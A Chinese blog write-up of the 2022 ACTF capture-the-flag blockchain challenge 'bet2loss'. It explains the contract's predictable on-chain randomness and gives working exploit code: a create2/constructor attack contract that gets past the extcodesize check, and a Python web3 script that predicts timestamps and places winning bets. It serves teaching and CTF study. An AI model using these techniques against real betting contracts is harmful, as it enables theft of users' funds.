区块链学习笔记之2022ACTF—bet2loss
创建时间:2022-06-29 15:23
字数:1.8k
阅读:
是这一届的XCTF收官之战,不过只浅浅的参与了一下,做了一道blockchain的题目——bet2loss。听说还有web版本的做法,但还没见到是怎么做的,web这一块也不太了解。这篇文章主要还是讨论两种智能合约版本的做法。
题目合约 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 pragma solidity ^0.8 .0 ; contract BetToken { address owner; mapping(address => uint256) public balances; uint256 nonce; uint256 cost; uint256 lasttime; mapping(address => bool) public airdroprecord; mapping(address => uint256) public logger; constructor () { owner = msg.sender; balances[msg.sender] = 100000 ; nonce = 0 ; cost = 10 ; lasttime = block.timestamp; } function seal (address to, uint256 amount ) public { require (msg.sender == owner, "you are not owner" ); balances[to] += amount; } function checkWin (address candidate ) public { require (msg.sender == owner, "you are not owner" ); require (candidate != owner, "you are cheating" ); require (balances[candidate] > 2000 , "you still not win" ); balances[owner] += balances[candidate]; balances[candidate] = 0 ; } function transferTo (address to, uint256 amount ) public pure { require (amount == 0 , "this function is not impelmented yet" ); } function airdrop ( ) public { require ( airdroprecord[msg.sender] == false , "you already got your airdop" ); airdroprecord[msg.sender] = true ; balances[msg.sender] += 30 ; } function bet (uint256 value, uint256 mod ) public { address _addr = msg.sender; require (lasttime != block.timestamp); require (mod >= 2 && mod <= 12 ); require (logger[msg.sender] <= 20 ); logger[msg.sender] += 1 ; require (balances[msg.sender] >= cost); balances[msg.sender] -= cost; value = value % mod; uint32 size; assembly { size := extcodesize(_addr) } require (size == 0 ); uint256 rand = uint256( keccak256( abi.encodePacked( nonce, block.timestamp, block.difficulty, msg.sender ) ) ) % mod; nonce += 1 ; lasttime = block.timestamp; if (value == rand) { balances[msg.sender] += cost * mod; } } }
题目分析 题目合约并不复杂,获取flag的条件只需要 require(balances[candidate] > 2000, "you still not win");
有大于两千个代币即可。而获取代币有两个途径
通过空投 airdrop()
可以获取30个代币,但是一个账户只能调用一次。
通过猜数 bet
,一次花费10个代币,可以赢得2倍到12倍的本金,这取决于mod。但bet函数有三个限制:一个账户最多只能调用二十次;每个账户在每一个区块只能调用bet一次;只有外部账户可以调用bet。 (因此一个账户最多可以通过bet获取到 (12 * 10 - 10 ) * 20 = 2200 个代币。
显然,题目的流程就是我们通过空投得到本金,然后进行猜数。20次猜数,一次最多赚110,由于30块的空投本金,因此,想要最终获取2000+的代币,我们至少需要猜对 18 次 mod 为 12 的bet,且只能猜错一次。(猜错两次就只剩1990了)
而需要猜的数字
1 2 3 4 5 6 7 8 9 10 uint256 rand = uint256( keccak256( abi.encodePacked( nonce, block .timestamp, block .difficulty, msg.sender ) ) ) % mod ;
nonce由题目合约记录,timestamp是区块的时间戳,difficulty是区块的复杂度,msg.sender是交易发起者,这些在区块打包的时候都是确定的,因此并没有什么难度。唯一需要绕过的点在于,bet要求交易发起者必须是外部账户 。
解题思路 解题思路一: 这里我们需要用到两个工具:
constructor函数:在EVM执行构造函数阶段,该合约地址尚不存在可执行代码。
creat2函数:其可以在同一个地址反复部署合约(不过需要该地址前一个合约自毁)
于是一个很自然的想法,利用create2函数在同一个地址反复部署攻击合约,而攻击合约将所有攻击操作写在constructor函数内,且constructor函数以自毁函数selfdestruct收尾。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 pragma solidity ^0 .8 .0 import "./bet.sol" contract pwn { constructor(address target, uint256 mod) public { main m = main(msg.sender) uint256 nonce = m.nonce() BetToken t = BetToken(target); if (t.balances(address(this)) == 0 ) { t.airdrop() } uint256 value = uint256( keccak256( abi.encodePacked( nonce, block.timestamp, block.difficulty, address(this) ) ) ) % mod t.bet(value, mod) selfdestruct(payable(msg.sender)) } } contract main { address public a bytes32 public s = hex"42" uint256 public nonce constructor(uint256 _nonce) public { nonce = _nonce } function hack(address target, uint256 mod) public { a = address(new pwn{salt: s}(target, mod)) nonce++ } }
首先获取题目合约的nonce,然后部署main,并不断调用hack函数即可。
实际题目部署在私链上,这里我们需要用一下python 的web3模块,具体操作可以参考这篇文章 。
PS:在比赛的时候由于create2用错了,导致其实这条路并没有走通,一度以为自己想错了,是赛后看了这位师傅的wp 才悟的。
解题思路二: 上面的方法我们借用了constructor函数和create2函数的特性绕过了对合约账户的检测,为什么我们这里想要使用攻击合约去执行呢,主要是因为随机数的预测需要使用到几个在区块打包时使用的数据,虽然这些都是确认的,但是我们只能在区块打包后才获取到,而只有合约才能在区块打包时就获取到数据,比如时间戳。
但是,这里我们是否可以预测一下呢?
随机数涉及到的总共四个参数:其中nonce我们可以读合约的slot获取,msg.sender就是我们自己,复杂度经过测试发现一直是 2,而区块时间戳,由于题目坏境的限制,我们似乎无法读取,但是注意到题目的bet函数有记录时间戳为lasttime进slot的操作,于是这里我们不断地调用bet函数,然后读取合约存储的时间戳,发现,可能由于是私链的环境配置原因,出块时间是固定的,每一个新的区块的timestamp会加30,是线性的。于是我们可以获取一个区块作为起点,然后后续的区块根据区块高度就能够计算出timestamp了。具体计算规则 newtime = starttime + (newblock - startblock) * 30。不过实际操作的时候可能由于延迟还是啥的会有一丢丢偏差,可以在后面加一个offset。具体的offset可以在第一次猜的时候确定,然后后面就可以猜对19次了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 from Crypto.Util.number import *from web3 import Web3,HTTPProviderfrom eth_abi.packed import encode_abi_packedfrom eth_abi import encode_abiimport timedef deploy (rawTx) : signedTx = web3.eth.account.signTransaction(rawTx, private_key=acct.privateKey) hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex() receipt = web3.eth.waitForTransactionReceipt(hashTx) return receipt web3=Web3(HTTPProvider("http://123.60.36.208:8545" )) acct= web3.eth.account.from_key('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' ) target="0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7" airdrop = { 'from' : acct.address, 'to' : target, 'nonce' : web3.eth.getTransactionCount(acct.address), 'gasPrice' : web3.toWei(1 , 'gwei' ), 'gas' : 555555 , 'value' : web3.toWei(0 , 'ether' ), 'data' : "0x3884d635" , "chainId" : 6666 } print("airdrop" ) info=deploy(airdrop) if info['status' ]==1 : print("airdrop done" ) else : print("sth error" ) FLAG=True offset=0 for i in range(0 ,20 ): print(i) nonce=bytes_to_long(web3.eth.getStorageAt(target,2 )) diffcult=2 now_block=web3.eth.block_number start_block=1485 start_time=1656158960 pre_time=(now_block-start_block)*30 +start_time+offset guess_num=bytes_to_long(Web3.keccak(encode_abi_packed(['uint256' ,'uint' ,'uint' ,'address' ],[nonce,pre_time,diffcult,acct.address])))%12 data_bet='0x6ffcc719' +hex(guess_num)[2 :].rjust(64 ,'0' )+'c' .rjust(64 ,'0' ) bet = { 'from' : acct.address, 'nonce' : web3.eth.getTransactionCount(acct.address), 'to' : target, 'gasPrice' : web3.toWei(1 , 'gwei' ), 'gas' : 555555 , 'value' : web3.toWei(0 , 'ether' ), 'data' : data_bet, "chainId" : 6666 } info=deploy(bet) if info['status' ]==1 : print("bet done" ,i) else : print("sth error" ) nowtime=bytes_to_long(web3.eth.getStorageAt(target,4 )) if FLAG: offset = nowtime-pre_time FLAG = False print(web3.eth.block_number,pre_time,nowtime,nowtime-pre_time) time.sleep(30 )
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com
文章标题: 区块链学习笔记之2022ACTF—bet2loss
文章字数: 1.8k
本文作者: Van1sh
发布时间: 2022-06-29, 15:23:00
最后更新: 2022-08-18, 19:39:19
原始链接: http://jayxv.github.io/2022/06/29/区块链学习笔记之2022ACTF-bet2loss/
版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。